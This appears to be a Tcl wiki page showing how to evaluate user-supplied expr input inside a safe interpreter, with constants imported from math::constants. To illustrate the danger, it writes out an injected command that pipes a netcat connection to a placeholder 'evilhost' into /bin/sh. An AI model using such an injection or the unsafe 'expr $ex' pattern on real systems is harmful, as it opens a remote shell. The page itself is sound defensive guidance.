safe expr

aspect: Sometimes it seems like it would be useful to expr arbitrary user input, along the lines of:

  while {[gets stdin ex]} {
    puts [expr $ex]
  }

.. this is great until the user enters some arbitrary command using [ characters:

  [exec nc evilhost evilport | /bin/sh]

To get around this we can use a safe interpreter easily enough. There are a few little things we'd like to do to make the environment more useful, like importing constants from ::math::constants .. further improvements are welcome!

namespace eval expr {
    variable slave
    proc init {} {
        variable slave
        set slave [interp create -safe]
        $slave alias expr expr
        package require math::constants
        foreach name [info vars ::math::constants::*] {
            set val [set $name]
            set name [namespace tail $name]
            if {$name == "constants"} continue
            $slave eval set $name $val
        }
    }
    init
    proc expr {arg} {
        variable slave
        $slave eval expr $arg
    }
}

proc test {} {
    puts [::expr::expr 2+2]
    puts [::expr::expr atan(100)]
    puts [::expr::expr pow(\$e,2)]
    puts [::expr::expr {[open foo]}]    ;# this should error!
}

proc loop {} {
  while {[gets stdin ex]} {
    puts [::expr::expr $ex]
  }
}

Some things that would be nice to add:

  • remembering the last result in $_ so the user can reference it
  • catching errors
  • handling definitions as in A bc-like calculator
  • a way to support units would be lovely if someone can think of a nice way of handling the syntax